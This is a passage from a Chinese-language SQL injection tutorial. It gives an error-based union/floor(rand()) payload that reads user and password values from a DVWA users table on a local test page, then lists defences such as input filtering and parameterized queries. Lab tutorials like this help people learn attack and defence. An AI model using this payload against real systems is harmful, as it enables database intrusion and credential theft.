然后修改limit的值,得到字段user,password
5、然后读取字段的值
1http://127.0.0.1/yi.php?id=-1 union Select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user,0x22,password) from dvwa.users limit 0,1))a from information_schema.tables group by a)b
这样子就得到字段的值啦,然后提醒一下,要是跨库读取数据,要写成数据库名然后.表名。因为当前数据库是test,然后我读的是dvwa库的users的表,所以要写成dvwa.users
好了基本就是这么多啦。
防范办法:
一个是过滤啦(把’,”,union,select load_file,%,and等敏感字符都过滤啦)
另一个是参数化查询,就是一种把查询语句给固定死了,无论传过来的值是什么,都只当做变量来执行查询语句
demo的源码:
(责任编辑:)